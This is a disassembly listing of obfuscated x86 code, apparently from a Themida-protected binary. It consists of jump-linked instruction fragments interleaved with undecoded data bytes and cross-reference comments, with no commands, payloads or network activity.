loc_58AA6E:				; CODE XREF: Themida_:00592938j
		mov	ebp, 1646415h
		jmp	loc_58AECD
; ---------------------------------------------------------------------------
		dd 0BBh, 51D30100h, 5A6BE9h
		db 0
; ---------------------------------------------------------------------------


loc_58AA85:				; CODE XREF: Themida_:005941E2j
		xor	ebx, [esp]
		jmp	loc_592140
; ---------------------------------------------------------------------------
		dd offset dword_4E02A8+18C0h
		align 2
aI2		db '‰,$½Õ2',0
aSes		db 'sEé',0
		db 17h,	2 dup(0)
		dd 880EED80h, 240C8BEAh, 4C481h, 0D5280000h, 0E8285A66h
		dd 83240C8Bh, 0F00004C4h, 38E9D304h, 28000082h,	0F80058C7h
		dd 0ECE95B5Bh, 57000078h, 0C781E789h, 4, 2EF81h, 3C330000h
		dd 243C3124h, 5C243C33h, 240C8966h, 0E98045B1h,	88C3803Eh
		dd 2895EB80h, 95C380CBh, 8088B551h, 0EB28D4C3h,	0D4B45066h
		dd 5866E328h, 0E9240C8Bh, 0FFFFF21Ch, 0E9243C31h, 0A385h
		dd 2404895Ch, 0E924048Bh, 0C20h, 0F5AD300h, 34FFC0B6h
		dd 2434FF87h, 0CEE6858h, 3C890000h, 66B0E924h, 83590000h
		dd 62E904C4h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58AB4B:				; CODE XREF: Themida_:0058C58Fj
		add	ecx, 4CEE3176h
		pop	ebp
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4DCC052Ch
		not	ebx
		sub	ebx, 0FFFFFFFFh
		add	ebx, 21402C81h
		push	edi
		jmp	loc_59441E
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 98E90000h, 58000056h, 8B241487h, 0D6E92424h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58AB8F:				; CODE XREF: Themida_:0058C74Cj
		add	esp, 4
		jmp	loc_59252D
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 74FF5704h, 8F5F0424h, 895C2404h, 21BE2434h, 5039C39h
		dd 6DF632F9h, 0F92DF029h, 8B6DF632h, 0DD682434h, 0E900006Ch
		dd 8A82h, 8001C180h, 0F1800AE9h, 59CE305Bh, 0AB15E9h, 0E884E900h
		dd 0EE88FFFFh, 240C8B66h, 2C481h, 0D6F60000h, 8003EEC0h
		dd 0C580E1C6h, 80F50007h, 0E95A07EDh, 94AFh
; ---------------------------------------------------------------------------


loc_58AC00:				; CODE XREF: Themida_:0058BC62j
		sub	ebp, 4
		jmp	loc_59067D
; ---------------------------------------------------------------------------
		db 81h
		dd 0D13B85EBh, 81C32914h, 0D13B85C3h, 22E95114h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58AC1F:				; CODE XREF: Themida_:0059353Aj
		pop	esp
		jmp	loc_5943C5
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 5FBFE955h,	0EE890000h
		dd 0FFFA66E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58AC45:				; CODE XREF: Themida_:00595879j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58FBA5
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 2BAh, 5AD30100h, 0E9241C87h, 3B86h
; ---------------------------------------------------------------------------


loc_58AC64:				; CODE XREF: Themida_:00594F98j
		add	ebx, 4
		add	ebx, 4
		push	5EC8h
		mov	[esp], ebx
		jmp	loc_58C5BC
; ---------------------------------------------------------------------------


loc_58AC7A:				; CODE XREF: Themida_:00589AF0j
		push	ebx
		pop	ecx
		jmp	loc_58FC1D
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 3Ch
		dd 4C48124h, 55000000h,	4C394DBDh, 5E5C105h, 0FFF593E9h
		dd 4FE34FFh, 7E0C0C8h, 404E8C0h, 0C5885160h, 0FFF0FAE9h
		dd 48B66FFh, 0E2895224h, 61BB5351h, 0E94DE078h,	9D39h
		dd 0C57FC635h, 58C1298Fh, 240C875Eh, 857DE9h, 59CB3100h
		dd 57C9E9h, 5BDA8900h, 78B6B951h, 0C829767Bh, 853AE959h
		dd 0F7810000h, 511764FDh, 5D8AE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58ACF6:				; CODE XREF: Themida_:005956E9j
		add	esp, 4
		push	3786h
		mov	[esp], eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_58AE24
; ---------------------------------------------------------------------------
		dd 88F38853h, 0CC885BD9h, 87AFE9h, 0B1F18100h, 83EF013Fh
		dd 8141FFE9h, 33D4F2E9h, 59CF29B9h, 81240C8Bh, 4C4h, 243C8700h
		dd 6624248Bh, 68240C8Bh, 21C6h,	68242C89h, 7045h, 0A7F4E9h
		dd 2C18300h, 2474FF51h,	8798E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58AD6A:				; CODE XREF: Themida_:0058FF61j
		shl	ebp, 5
		sub	ebp, 664B5C60h
		and	eax, ebp
		jmp	loc_594FAB
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 86F2h
; ---------------------------------------------------------------------------


loc_58AD80:				; CODE XREF: Themida_:0058B2EAj
		pop	eax
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_58C834
; ---------------------------------------------------------------------------


loc_58AD8E:				; CODE XREF: Themida_:0058E7E5j
		neg	ecx
		xor	ecx, 8041E251h
		add	edx, ecx
		pop	ecx
		neg	edx
		xor	edx, 0A5AE565Ah
		mov	ebx, edx
		pop	edx
		push	esi
		jmp	loc_58EFCE
; ---------------------------------------------------------------------------
aIiyxsQ		db 'ˆëYXéÁq',0
		db 0
; ---------------------------------------------------------------------------


loc_58ADB3:				; CODE XREF: Themida_:00590CB7j
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_59306C
		push	dword ptr [edi+1Ch]
		push	edi
		mov	edi, 31AC112Eh
		add	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		jmp	loc_58DE3E
; ---------------------------------------------------------------------------
		dw 405h
		dd 5000000h, 4,	5C240487h, 28446866h, 2E3EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58ADED:				; CODE XREF: Themida_:00594B94j
		mov	[esp], ebp
		push	edi
		mov	edi, 71AE6B12h
		mov	ebp, 71AE6B16h
		jmp	loc_58FC79
; ---------------------------------------------------------------------------
		dd 0E9028F66h, 0FFFFE65Ah
; ---------------------------------------------------------------------------


loc_58AE08:				; CODE XREF: Themida_:0058E668j
		mov	[esp], edx
		push	19AB15FFh
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5935DB
; ---------------------------------------------------------------------------


loc_58AE24:				; CODE XREF: Themida_:0058AD13j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_594202
; ---------------------------------------------------------------------------
aSid		db '\éi¤',0
		dd 0CBF28100h, 0E9541133h, 2A79h, 4EC81h, 3C890000h, 4B0BF24h
		dd 0F83154ADh, 0A140E9h, 43C78100h, 81681876h, 8501F3EFh
		dd 7DBD555Ah, 2915CD47h, 242C8BEFh, 4C481h, 835B0000h
		dd 4B6802EFh, 89000067h, 74FF243Ch, 8F5F0424h, 248B2404h
		dd 0C896624h, 0F185E924h, 0D800FFFFh, 29E96C2Ch, 66000004h
		dd 81240C8Bh, 4ECh, 8E2AE900h, 0C8280000h, 3CE95259h, 66000039h
		dd 0E924248Bh, 0FFFFE59Eh
; ---------------------------------------------------------------------------


loc_58AEC4:				; CODE XREF: Themida_:0058FFDCj
		push	esi
		mov	esi, esp
		push	eax
		jmp	loc_58B69F
; ---------------------------------------------------------------------------


loc_58AECD:				; CODE XREF: Themida_:0058AA73j
		add	ebp, 1D2251A5h
		sub	ebp, 5CDC36C4h
		jmp	loc_58EE12
; ---------------------------------------------------------------------------
aBKgWsM		db '^ÃKG',0Bh,'wé+m',0
		align 2
		dw 0F680h
		dd 5AF52089h, 8007E5C0h, 0E82852C5h, 0B6525159h, 773E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58AF02:				; CODE XREF: Themida_:0058BB19j
		xchg	edi, [esp]
		pop	esp
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_593978
; ---------------------------------------------------------------------------
		db 81h
		dd 0A528EFE5h, 7E5C164h, 73FFED81h, 0BB531294h,	3A6015E8h
		dd 295BDA01h, 0E8EA81EAh, 8B3A6015h, 8956242Ch,	4C681E6h
		dd 0E9000000h, 4B72h
; ---------------------------------------------------------------------------


loc_58AF48:				; CODE XREF: Themida_:0058D7B8j
		push	ecx
		mov	ecx, edi
		mov	edx, ecx
		pop	ecx
		pop	edi
		xor	esi, edx
		pop	edx
		sub	[edi+24h], esi
		pop	esi


loc_58AF56:				; CODE XREF: Themida_:00590D24j
		push	4AF7h
		mov	[esp], edi
		jmp	loc_592837
; ---------------------------------------------------------------------------


loc_58AF63:				; CODE XREF: Themida_:0058BEF3j
		push	edi
		jmp	loc_5934FC
; ---------------------------------------------------------------------------


loc_58AF69:				; CODE XREF: Themida_:00593441j
		pop	edi
		sub	eax, 27DF2133h
		add	eax, 58D3C8Ah
		add	eax, edx
		sub	eax, 58D3C8Ah
		push	7C2Dh
		mov	[esp], edx
		jmp	loc_58F77E
; ---------------------------------------------------------------------------
		dd 0C8BC801h, 4C48124h,	87000000h, 665C2404h, 68240C8Bh
		dd 19F9h, 0E9240C89h, 74B8h
; ---------------------------------------------------------------------------


loc_58AFA8:				; CODE XREF: Themida_:0058C798j
		dec	edi
		sub	edi, 0B3DB87D5h
		xor	ecx, edi
		pop	edi
		inc	ecx
		push	eax
		mov	eax, 1EA63E5Ah
		xor	ecx, eax
		pop	eax
		add	esi, ecx
		pop	ecx
		jmp	loc_58F473
; ---------------------------------------------------------------------------
		dd 9568C42Ch, 89000003h, 7168240Ch, 89000015h, 0FB02404h
		dd 0E958C188h, 0FFFFFED2h, 0C681E689h, 4, 2EE81h, 34870000h
		dd 24248B24h, 240C8966h, 2474FF66h, 0C8B6602h, 0E7895724h
		dd 0FFEA77E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B009:				; CODE XREF: Themida_:005914DBj
		pop	ebx
		jmp	loc_5944F8
; ---------------------------------------------------------------------------
		db 83h
		dd 2D6804C4h, 0E900006Eh, 7053h, 42474FFh, 640E9h, 0C6015A00h
		dd 2BBF5753h, 0BB4D681Ch, 88FF2E3Dh, 33E9FB29h,	5A00003Ah
		dd 7D58E9h, 0FD46800h, 0E959725Bh, 1C80h, 11D7E946h, 34310000h
		dd 24343324h, 0FFED65E9h, 28F12CFFh, 0F1B252C8h, 525AD000h
		dd 0E95194B2h, 3446h, 35BCBD55h, 0E8312260h, 4BBE565Dh
		dd 2D008E0Dh, 76DF30A7h, 818AE9h, 62806800h, 4890000h
		dd 0EFD6E924h, 0DDF7FFFFh, 8DBCED81h, 72053C14h, 0E93FA134h
		dd 539Ch, 8001EA80h, 0F280E9F2h, 8E2C055h, 3245E9h, 91EF8000h
		dd 0E95BFA30h, 3CD2h, 4BBh, 0FC0BE900h,	0C201FFFFh, 988E958h
		dd 0E9810000h, 42357786h, 0C181F901h, 42357786h, 3534E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B0EA:				; CODE XREF: Themida_:0058F34Ej
		mov	[esp], ecx
		push	edx
		jmp	loc_58CD90
; ---------------------------------------------------------------------------


loc_58B0F3:				; CODE XREF: Themida_:0059231Fj
		mov	edx, esp
		jmp	loc_5901DD
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4BE56h, 0F3010000h, 7DE2E95Eh, 4830000h, 0E95F0424h
		dd 0A088h
; ---------------------------------------------------------------------------


loc_58B114:				; CODE XREF: Themida_:00590C41j
		xor	edx, 1CC64h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_592D66
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 6B6DEA81h, 0EA8112D3h, 764B18Bh, 9826E9h, 24048F00h
		dd 0EEE9565Ch, 50FFFFF6h, 543D58B8h, 7E0C10Ch, 0C108E0C1h
		dd 0E0C105E0h, 12D07h, 0C101C000h, 8124048Bh, 4C4h, 19F26800h
		dd 3C890000h, 0A022BF24h, 0BEE92E98h, 8900002Eh, 8C1DE9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B18E:				; CODE XREF: Themida_:0058EF66j
		sub	bl, 0
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 241CF6C3h, 0E2C0E99Ch, 0C281FFFFh, 5D3A04ABh, 575AD001h
		dd 74E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_58B1B1:				; CODE XREF: Themida_:0058A257j
		mov	[esp], edx
		mov	edx, 1Ch
		add	edx, 0D8A35C3h
		add	edx, 7A3856FEh
		add	edx, edi
		sub	edx, 7A3856FEh
		push	eax
		mov	eax, 0D8A35C3h
		sub	edx, eax
		pop	eax
		mov	ecx, [edx]
		pop	edx
		jmp	loc_58D1F5
; ---------------------------------------------------------------------------


loc_58B1DE:				; CODE XREF: Themida_:005908CCj
		xor	edx, 0A670BF6h
		add	ecx, edx
		pop	edx
		jmp	loc_593537
; ---------------------------------------------------------------------------
aISy		db 'ˆÙ[éY',7,0
		align 4
		dd 22E9DE89h, 81FFFFF8h, 83BB6EEh, 243C8B2Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	694Eh
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58EC85
; ---------------------------------------------------------------------------
		dd 0E9BFB450h, 281Eh, 4BA52h, 54010000h, 0E95A0424h, 4F49h
		dd 8124048Bh, 4C4h, 6860E900h, 0E95B0000h, 36A2h, 0E9240487h
		dd 51D6h, 8E0D27B8h, 6757E94Dh,	0C1810000h, 0B95CDA47h
		dd 207BE9h, 241C8900h, 0C381E389h, 4, 8704EB83h, 895C241Ch
		dd 1FBB241Ch, 0F727A71Dh, 0CB8143D3h, 3A02449Ch, 68h, 7C02E900h
		dd 81660000h, 664745F2h, 525AD329h, 96EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_58B2B5:				; CODE XREF: Themida_:0058F018j
		mov	ebx, 11A03AF5h
		jmp	loc_58E40C
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 0E95DE801h, 3EFEh, 667CB753h, 6CB15152h, 2FE0E9h
		db 0
; ---------------------------------------------------------------------------


loc_58B2D9:				; CODE XREF: Themida_:0058F2ABj
		push	39F1h
		mov	[esp], eax
		mov	eax, 24A86AE6h
		sub	edi, eax
		pop	eax
		push	edi
		jmp	loc_58AD80
; ---------------------------------------------------------------------------
		db 83h
		dd 0D1E904ECh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B2F7:				; CODE XREF: Themida_:005955E6j
		add	dword ptr [edx], 1
		mov	edx, [esp]
		add	esp, 4


loc_58B303:				; CODE XREF: Themida_:00595A47j
		push	46D9h
		mov	[esp], ebx
		sub	dword ptr [esp], 14464B5Ch
		jmp	loc_589CF4
; ---------------------------------------------------------------------------
		db 1
		dd 0C5095AD0h, 44F8E958h, 348B0000h, 499CE924h,	8B660000h
		dd 3868240Ch, 89000014h, 0E6892434h, 75CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_58B33D:				; CODE XREF: Themida_:0058E9D5j
		add	ecx, 0B66298Eh
		sub	ecx, 331B49A8h
		jmp	loc_58C581
; ---------------------------------------------------------------------------
		dw 5552h
		dd 995889BDh, 1DE95541h, 0BB000021h, 5CAF54B9h,	0E3C14343h
		dd 5659E904h, 0EF800000h, 2EFC015h, 0E98CEF80h,	9A5Dh
; ---------------------------------------------------------------------------


loc_58B378:				; CODE XREF: Themida_:00594637j
		xor	eax, 945EA04h
		jmp	loc_58D2ED
; ---------------------------------------------------------------------------
		dw 0F9B3h
		dd 0C3FED3F6h, 7BC1E9h,	0C1665E00h, 0C16605E9h,	19E907E1h
		dd 8100007Eh, 32D1CEBh,	81D3F759h, 0C91288F3h, 5BDE216Ah
		dd 0A525E9h, 48B6600h, 0E1895124h, 8904EC83h, 15E92414h
		dd 1000080h, 4875EF0h, 24248B24h, 0F66E1F6h, 6866CCB6h
		dd 8966292Dh, 0F66240Ch, 5166C8B6h, 0E07CE99Ch,	0CA01FFFFh
		dd 4BE5659h, 81000000h,	0F96D18EAh, 81F20153h, 0F96D18C2h
		dd 9E95E53h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58B403:				; CODE XREF: Themida_:0058A6E9j
		neg	ebx
		jmp	loc_58D248
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 242C8B24h, 4C481h, 0C4810000h, 4, 839E9h, 240C8B00h
		dd 4C481h, 0EF010000h, 83242C8Bh, 0C78104C4h, 2, 8B243C87h
		dd 0EEE92424h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58B443:				; CODE XREF: Themida_:0058D473j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4


loc_58B44D:				; CODE XREF: Themida_:0058CB09j
					; Themida_:0059111Ej
		sub	esp, 4
		mov	[esp], edi
		push	76E2h
		jmp	loc_595B20
; ---------------------------------------------------------------------------
		db 5Dh,	4Dh, 0E9h
		dd 0FFFFFAB3h, 0E904C283h, 992Bh, 8776E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B472:				; CODE XREF: Themida_:00594A24j
		sub	dword ptr [esp+4], 32BC5EC1h
		sub	dword ptr [esp+4], 31F9553Eh
		jmp	loc_58A833
; ---------------------------------------------------------------------------
		db 1
		dd 76C381F3h, 81085F21h, 0F40755C3h, 9FEEE90Dh,	0C4830000h
		dd 71F58104h, 52436340h, 0C70519BAh, 84F28116h,	0C15DAE09h
		dd 0C14204EAh, 0B85008E2h, 5B182E1Fh, 8158C231h, 87A54DF2h
		dd 8320E9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B4CA:				; CODE XREF: Themida_:005947A1j
		pop	small word ptr [edi+eax*4]
		jmp	loc_589462
; ---------------------------------------------------------------------------


loc_58B4D3:				; CODE XREF: Themida_:00589DBDj
		pop	eax
		and	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 774675B3h
		add	ebp, 579876E9h
		sub	ebp, 1F00EC9Ch
		jmp	loc_58D7EE
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9502404h, 6EC2h, 265568h, 24348900h, 4EC81h, 24890000h
		dd 24048324h, 56525E04h, 0F42F4368h, 0F6815E16h, 1EE75B33h
		dd 7342E9h, 8BDA2900h, 0C483241Ch, 81C20104h, 1957DAC2h
		dd 15B8507Dh, 486CB33Eh, 0BA52E0D1h, 8EE3242Fh,	815AD031h
		dd 107BAAEAh, 7259E91Ah, 34FF0000h, 0D55E924h, 0D8880000h
		dd 0FEC8FE5Bh, 0E9E634C8h, 2C0Dh
; ---------------------------------------------------------------------------


loc_58B56C:				; CODE XREF: Themida_:005947CAj
		pop	ebx
		push	eax
		jmp	loc_591575
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 57000000h,	2763DBBFh, 81DFF725h, 38501DF7h
		dd 0BAE78108h, 817EC37Ah, 0C04834EFh, 5FFB0152h, 2474FF53h
		dd 48F5B04h, 24248B24h,	9B68C80Fh, 8900004Fh, 0AFE92404h
		dd 5DFFFFDEh, 5A2434FFh, 4C481h, 92E90000h, 89000076h
		dd 8150242Ch, 6EB9242Ch, 565D7131h, 55502CBEh, 0F7DEF753h
		dd 1C9CE9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B5DE:				; CODE XREF: Themida_:005953CDj
		mov	ebx, 58002B3Fh
		jmp	loc_5896F8
; ---------------------------------------------------------------------------
aHdz		db '^hDZ',0
		align 2
		dw 3489h
		dd 2BD5524h, 0E9000000h, 9A90h
; ---------------------------------------------------------------------------


loc_58B5FC:				; CODE XREF: Themida_:00593A75j
		push	edi
		push	esi
		mov	esi, 61266E21h
		mov	edi, esi
		jmp	loc_593004
; ---------------------------------------------------------------------------


loc_58B60A:				; CODE XREF: Themida_:005929F6j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 661C00E1h
		jmp	loc_5927E1
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 5
aWnSfc		db 'WN',8,'éäC',0
		align 4
		dd 1329C281h, 0E9566976h, 42E9h, 8108E1C1h, 587354E9h
		dd 59CD890Ah, 6D60E9h, 14875900h, 0C4835C24h, 4C28104h
		dd 83000000h, 48904ECh,	2B824h,	0C2010000h, 0FFF51EE9h
		dd 48F5DFFh, 34FF5C24h,	2434FF24h, 34C8E9h, 3EC68000h
		dd 2422E9h, 71CA8100h, 8172DF03h, 0DF5BF3EAh, 5AD6017Fh
		dd 4013E9h, 24148900h, 57F2E9h,	91E95600h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58B69F:				; CODE XREF: Themida_:0058AEC8j
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_58BFC6
; ---------------------------------------------------------------------------


loc_58B6AC:				; CODE XREF: Themida_:00594E01j
		mov	ebx, [esp]
		add	esp, 4
		shl	eax, cl
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0FFFFFFFFh
		sub	eax, 45522BD1h
		sub	eax, 4BBE79DBh
		add	eax, edi
		push	ecx
		push	1F76D6h
		jmp	loc_593394
; ---------------------------------------------------------------------------
		dd 0E9240489h, 49A5h
; ---------------------------------------------------------------------------


loc_58B6E4:				; CODE XREF: Themida_:0058E65Dj
		add	esp, 4


loc_58B6EA:				; CODE XREF: Themida_:00590CF5j
		push	edi
		mov	edi, ebx
		push	76C0h
		jmp	loc_59461A
; ---------------------------------------------------------------------------
		db 51h
		dd 149DE9h, 0C3285A00h,	5227C380h, 0DAF639B2h, 0F280DAF6h
		dd 5AD32824h, 0FFE484E9h, 7E947FFh, 1000095h, 535658C1h
		dd 76229BBBh, 3653E907h, 15F0000h, 0EB8159CBh, 7BD56F9Ch
		dd 0A6E9FB01h, 0E9FFFFF1h, 0FFFFDD22h
; ---------------------------------------------------------------------------


loc_58B740:				; CODE XREF: Themida_:0058BBD2j
		xor	[esp], edx
		jmp	loc_59500A
; ---------------------------------------------------------------------------
		dd 4C481h, 0FE90000h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B753:				; CODE XREF: Themida_:0058A194j
		mov	[esp], edx
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		not	edx
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	eax, [esp]
		jmp	loc_594F23
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 3D832BB5h, 13EB6859h, 4890000h, 2B824h, 0C3810000h
		dd 474C5ECCh, 0EB81C301h, 474C5ECCh, 241C3358h,	33241C31h
		dd 248B241Ch, 0E4E1E924h, 0E95FFFFFh, 6B47h, 21685650h
		dd 0E916037Fh, 1933h, 427AC781h, 0EF012388h, 5403B951h
		dd 0E9817939h, 55B11189h, 0A0E5E9h, 24E94200h, 0FEFFFFDFh
		dd 80CCFEC4h, 5AE9F1ECh, 68000065h, 2F21h, 0E9241C89h
		dd 61C7h, 4B850h, 0C2010000h, 0FFE840E9h, 0FE5B66FFh, 6866C1h
		dd 7276E900h, 0C8010000h, 24048759h, 24D3665Ch,	43E99C24h
		dd 66FFFFDCh, 52240C8Bh, 564E68h, 24248900h, 4240483h
		dd 8B2434FFh, 89522414h, 4C281E2h, 0E9000000h, 79EAh, 240C8966h
		dd 0FFDC15E9h, 241431FFh, 8B241433h, 5FE92424h,	68000009h
		dd 1ABFh, 83242489h, 8B042404h,	0C483243Ch, 4BA5204h, 1000000h
		dd 0BE565AD7h, 39130783h, 3E6CE681h, 0DEF72444h, 0F681EED1h
		dd 78A2070Eh, 0EC0EE81h, 0F6810221h, 153CEB4Ch,	1BE9F701h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58B89F:				; CODE XREF: Themida_:005934F7j
		sub	edx, 551E1A70h
		sub	edx, ebx
		add	edx, 551E1A70h
		add	edx, 12950149h
		add	edx, 13C0370Eh
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_593D60
; ---------------------------------------------------------------------------
		dw 0C468h
		dd 8900003Dh, 0E389241Ch, 4C381h, 0BF570000h, 2, 8904EC83h
		dd 6857240Ch, 29531640h, 0A6F7815Fh, 89414C6Bh,	0FE38E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B8F2:				; CODE XREF: Themida_:0058D068j
		and	ebp, 6D4A46A2h
		push	edx
		push	43BBh
		jmp	loc_59086B
; ---------------------------------------------------------------------------
		db 59h
		dd 803FEC80h, 0F48079C4h, 8BE3308Dh, 83E92404h,	66000093h
		dd 5124048Bh, 9961E9h, 5EED8100h, 8101AB33h, 60641CE5h
		dd 0B7CD8167h, 5100FE40h, 0FE44B3B9h, 0E9CD3166h, 7661h
; ---------------------------------------------------------------------------


loc_58B940:				; CODE XREF: Themida_:005901ECj
		mov	ebx, 13F60E2Ah
		xor	ebx, ebp
		pop	ebp
		jmp	loc_58A0DE
; ---------------------------------------------------------------------------
		db 88h,	0Ch, 87h
		dd 8B2434FFh, 0C483240Ch, 4567E904h, 0C2310000h, 8BD00158h
		dd 0C4832414h, 55F80104h, 52F09BDh, 8BE82914h, 0C481242Ch
		dd 4, 0E92434FFh, 75Ah,	42474FFh, 8B2434FFh, 0C4832404h
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 437E1008h
		or	edi, 64D652D1h
		shl	edi, 1
		push	esi
		jmp	loc_5917C3
; ---------------------------------------------------------------------------
		dd 2C8BE831h, 4C48124h,	40000000h, 1FBF5435h, 58C129DAh
		dd 0C8BC831h, 4C48124h,	0E9000000h, 0FFFFDA96h,	4FF2EE81h
		dd 0F0314B5Fh, 0FFC1315Eh, 81582434h, 4C4h, 4BF18100h
		dd 81257275h, 1F47E8C1h, 59CA89C7h, 3D58C681h, 0D60163F1h
		dd 4669BA52h, 0E2C16FE1h, 4ADAF703h, 2CEACA81h,	0CA8103B5h
		dd 7DE425C0h, 0D0A7F281h, 0D6299C04h, 24148B5Ah, 81E78957h
		dd 4C7h, 4C78300h, 5C243C87h, 84168h, 35A4E900h, 0CB000000h
		dd 23BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_58BA3D:				; CODE XREF: Themida_:00595362j
		add	ecx, edx
		jmp	loc_5922FE
; ---------------------------------------------------------------------------


loc_58BA44:				; CODE XREF: Themida_:0058DEE2j
		mov	[esp], ecx
		push	edi
		mov	ecx, [esp]
		add	esp, 4
		pop	edi
		not	edi
		jmp	loc_58D522
; ---------------------------------------------------------------------------


loc_58BA56:				; CODE XREF: Themida_:0058FBACj
		push	dword ptr [esp]
		jmp	loc_595041
; ---------------------------------------------------------------------------
		dw 0A968h
		dd 89000035h, 4B82404h,	81000000h, 0C835FDEAh, 0E9C20168h
		dd 34DCh, 0C032B050h, 0E0C007E0h, 0EC68E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BA86:				; CODE XREF: Themida_:00589F6Aj
		mov	edi, 80745ABh
		xor	edi, 4BA869CDh
		jmp	loc_592E59
; ---------------------------------------------------------------------------
		dw 0C501h
		dd 415AC581h, 48B149Eh,	4C48124h, 0E9000000h, 48ACh, 0EDE9C5FEh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BAB3:				; CODE XREF: Themida_:00589DA2j
		mov	ecx, 10E72D9Dh
		xor	ebp, ecx
		pop	ecx
		jmp	loc_590DDB
; ---------------------------------------------------------------------------


loc_58BAC0:				; CODE XREF: Themida_:0058D5BFj
		pop	ebx
		xor	ebp, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_58FF5D
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4AAA0CCCh, 5C78E9h, 4C68300h, 5C243487h, 0E924048Fh
		dd 0FFFFD972h, 3D14BA52h, 0CA816CA4h, 2EFC1BADh, 447CCA81h
		dd 0DCE95082h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BB07:				; CODE XREF: Themida_:005954FAj
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_58AF02
; ---------------------------------------------------------------------------
aZSP		db '‡<$\é]p',0
		dw 0C100h
		dd 0C68107E6h, 5A4155Ch, 0D9F68146h, 2903D389h,	1C875EF3h
		dd 5B22E924h, 56500000h, 2B7CE9h, 22C78100h, 0E921C935h
		dd 7524h, 72AEF581h, 0EA0170CCh, 2E95D5Dh
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BB63:				; CODE XREF: Themida_:0058A98Cj
		mov	[esp], ebx
		jmp	loc_594F96
; ---------------------------------------------------------------------------


loc_58BB6B:				; CODE XREF: Themida_:0058BF99j
		mov	eax, [esp]
		jmp	loc_58D89D
; ---------------------------------------------------------------------------
a5ES9l		db '5[eÑ%é9‹',0
		db 0
; ---------------------------------------------------------------------------


